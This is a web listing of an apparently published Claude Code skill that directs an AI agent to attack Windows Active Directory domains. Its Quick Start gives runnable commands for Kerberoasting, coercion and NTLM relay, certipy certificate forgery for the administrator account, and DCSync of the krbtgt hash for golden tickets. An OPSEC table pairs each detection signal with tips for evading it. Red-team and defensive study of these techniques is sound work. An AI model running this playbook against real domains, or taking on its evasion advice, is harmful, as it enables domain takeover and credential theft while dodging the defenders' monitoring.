Active directory attack
Skill hypnguyen1209/offensive-claude/skills/active-directory-attack
Offensive security toolkit for Claude Code covering red team, exploit dev, AD attacks, EDR bypass, mobile pentest
npx -y skills add hypnguyen1209/offensive-claude --skill active-directory-attackAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
What its author says it does
Copied from the file, not written here
Use when attacking a Windows Active Directory domain — Kerberos roasting/delegation, coercion + NTLM/Kerberos relay (CVE-2025-33073), ADCS ESC1-16 (EKUwu), ticket forgery & DCSync, dMSA BadSuccessor (CVE-2025-53779), BloodHound attack-path enumeration, domain dominance
SKILL.md
8.9 KB, as published. Nobody here has run it
Active Directory Attacks
When to Activate
- Attacking Windows domain environments after gaining any domain foothold (creds, hash, or unauth network position)
- Kerberos exploitation: Kerberoasting, AS-REP roasting, delegation (RBCD/constrained/unconstrained), ticket forgery
- Coercion + NTLM/Kerberos relay chains (PetitPotam/DFSCoerce → LDAP/ADCS, NTLM reflection CVE-2025-33073)
- ADCS certificate-template abuse (ESC1-ESC16) and certificate-based domain takeover
- dMSA / BadSuccessor privilege escalation on Windows Server 2025 domains
- BloodHound CE attack-path discovery, lateral movement, DCSync, and domain-dominance persistence
Technique Map
| Technique | ATT&CK | CWE | Reference | Script |
|---|---|---|---|---|
| BloodHound CE / SharpHound enumeration | T1482 | CWE-732 | references/bloodhound-enum-lateral.md | scripts/ad_recon.py |
| Password spray / PtH / PtT lateral movement | T1550.002, T1550.003 | CWE-522 | references/bloodhound-enum-lateral.md | scripts/ad_recon.py |
| LAPS / gMSA password read | T1003 | CWE-522 | references/bloodhound-enum-lateral.md | scripts/ad_recon.py |
| Kerberoasting | T1558.003 | CWE-261 | references/kerberos-roasting-delegation.md | scripts/kerberoast_audit.py |
| AS-REP roasting | T1558.004 | CWE-308 | references/kerberos-roasting-delegation.md | scripts/kerberoast_audit.py |
| Resource-Based Constrained Delegation (RBCD) | T1558, T1098 | CWE-269 | references/kerberos-roasting-delegation.md | scripts/rbcd_takeover.py |
| Constrained/Unconstrained delegation (S4U) | T1558 | CWE-269 | references/kerberos-roasting-delegation.md | scripts/rbcd_takeover.py |
| Coercion (PetitPotam/DFSCoerce/PrinterBug/WebDAV) | T1187 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh |
| NTLM relay (SMB/LDAP/ADCS) | T1557.001 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh |
| NTLM reflection (CVE-2025-33073) | T1187, T1557.001 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh |
| Kerberos relay / DNS CNAME (CVE-2026-20929) | T1557 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh |
| ADCS ESC1 (SAN) / ESC15 EKUwu (CVE-2024-49019) | T1649 | CWE-295 | references/adcs-abuse.md | scripts/adcs_esc_finder.py |
| ADCS ESC8 relay / ESC16 CA-wide override | T1649, T1557.001 | CWE-295 | references/adcs-abuse.md | scripts/adcs_esc_finder.py |
| Golden / Silver / Diamond / Sapphire ticket | T1558.001, T1558.002 | CWE-345 | references/ticket-forgery-dcsync.md | - |
| DCSync (DRSUAPI replication) | T1003.006 | CWE-269 | references/ticket-forgery-dcsync.md | - |
| noPac / sAMAccountName spoofing (CVE-2021-42278/87) | T1558 | CWE-287 | references/ticket-forgery-dcsync.md | - |
| dMSA BadSuccessor (CVE-2025-53779) | T1098, T1558 | CWE-269 | references/dmsa-badsuccessor.md | scripts/Get-BadSuccessorOUPermissions.ps1 |
Quick Start
# 0. Sync clock to DC (Kerberos needs +/-5 min)
sudo ntpdate <DC_IP> # or: faketime "$(net time -S <DC>)" <cmd>
# 1. Enumerate: BloodHound CE collection (Linux) + own the graph
bloodhound-python -u user -p 'Pass' -d corp.local -dc dc01.corp.local -ns <DC_IP> -c all --zip
# (use the bloodhound-ce branch; legacy collectors break CE ingest)
nxc ldap <DC_IP> -u user -p 'Pass' --bloodhound --collection All --dns-server <DC_IP>
# 2. Cheap wins on the graph: roast everything visible
python3 scripts/kerberoast_audit.py -d corp.local --dc-ip <DC_IP> -u user -p 'Pass' --asrep --kerberoast
# 3. Coerce + relay to LDAP/ADCS (RBCD or cert) if signing/EPA weak
bash scripts/coerce_relay_chain.sh corp.local user 'Pass' <DC_IP> <RELAY_IP> ldap
# 4. ADCS path: find ESC1-16 and grab a DA cert
python3 scripts/adcs_esc_finder.py -d corp.local -u user -p 'Pass' --dc-ip <DC_IP>
certipy req -u [email protected] -p 'Pass' -ca CA -template Vuln -upn [email protected]
certipy auth -pfx administrator.pfx -dc-ip <DC_IP> # -> NT hash / TGT
# 5. Windows Server 2025 present? Check BadSuccessor exposure
powershell -ep bypass -File scripts/Get-BadSuccessorOUPermissions.ps1
# 6. Domain dominance: DCSync krbtgt -> Golden ticket / persistence
impacket-secretsdump -just-dc-user 'corp\krbtgt' corp.local/da:'Pass'@<DC_IP>
OPSEC & Detection (summary)
| Technique | Telemetry / IOC | Detection (Sigma / EDR) | OPSEC note |
|---|---|---|---|
| SharpHound/LDAP enum | Hundreds of LDAP queries from one host; 4662 directory access | SIEM rule: single source > N LDAP queries/minute; ADWS 9389 spikes | Throttle --throttle/--jitter; prefer ADWS (SOAPHound) to dodge LDAP heuristics |
| Kerberoasting | 4769 TGS-REQ with RC4 (0x17) for many SPNs from one host | Sigma win_security_susp_kerberos_manipulation; alert on RC4 TGS bursts | Request AES-only SPNs sparingly; /rc4opsec; roast few accounts, slow |
| AS-REP roasting | 4768 AS-REQ no-preauth; etype 23 | Alert on AS-REQ for DONT_REQ_PREAUTH accounts | Only target accounts BloodHound flags; offline crack |
| Coercion | EFSRPC/DFSNM/RPRN named-pipe calls; auth from server to odd host | Sigma coercion/PetitPotam; RPC firewall (RpcFilter) logs | Coercion is "by design"; NTLM removal on 2025/24H2 forces Kerberos fallback |
| NTLM relay / reflection | 4624/4648 NTLM logon to self; SMB→LDAP from non-server | Detect SMB-signing:False targets; CVE-2025-33073 DNS marshalled record | Needs signing:False target; patch (Jun 2025) detects marshalled DNS struct |
| ADCS ESC | 4886/4887 cert issuance; cert with arbitrary SAN/UPN; client-auth EKU on web template | Sigma ADCS issuance anomalies; certutil monitoring; ESC15 EKU injection | Restore templates (ESC4); EPA on certsrv breaks ESC8 relay |
| Ticket forgery | TGT lifetime anomalies; PAC w/o validation; 4769 for krbtgt SPN | Golden: ticket lifetime > policy; Sapphire mimics real PAC (hard) | Match domain ticket policy lifetimes; use AES keys not RC4 |
| DCSync | 4662 DRSUAPI GetNCChanges from non-DC | Sigma dcsync; alert DRSUAPI replication from non-DC IP | Run from a host that looks like a DC; avoid /all, target krbtgt only |
| dMSA BadSuccessor | 5137 dMSA create; 5136 write to msDS-ManagedAccountPrecededByLink | Sigma SharpSuccessor exec; SACL on dMSA attrs (off by default!) | Patched (Aug 2025) needs both sides controlled; still a creds-dump primitive |
Deep Dives
- references/bloodhound-enum-lateral.md — BloodHound CE v8 / OpenGraph, SharpHound CE & bloodhound-ce collectors, NetExec, high-value Cypher, password spray, PtH/PtT/OverPtH, LAPS v1/v2 + gMSA reads, AdminSDHolder/DSRM/Skeleton-Key persistence.
- references/kerberos-roasting-delegation.md — Kerberoasting (incl. targeted/GenericWrite), AS-REP roasting, RBCD, constrained/unconstrained delegation, S4U2self/S4U2proxy abuse, tgt::deleg, hashcat modes.
- references/coercion-relay.md — All five coercion methods + WebDAV/efsr_spray, NTLM relay to SMB/LDAP/ADCS, NTLM reflection (CVE-2025-33073), Kerberos relay & DNS CNAME (CVE-2026-20929), shadow-credential relay.
- references/adcs-abuse.md — ESC1-ESC16 catalog with Certipy v5, EKUwu/ESC15 (CVE-2024-49019), ESC16 CA-wide override, ESC8 relay, ESC9/ESC10 mapping bypass, certificate persistence.
- references/ticket-forgery-dcsync.md — Golden/Silver/Diamond/Sapphire tickets, DCSync, noPac (CVE-2021-42278/87), PAC validation enforcement (CVE-2024-26248/29056), trust/SID-history & cross-forest.
- references/dmsa-badsuccessor.md — dMSA migration internals, BadSuccessor (CVE-2025-53779), pre/post-patch behavior, SharpSuccessor / bloodyAD / NetExec tooling, detection.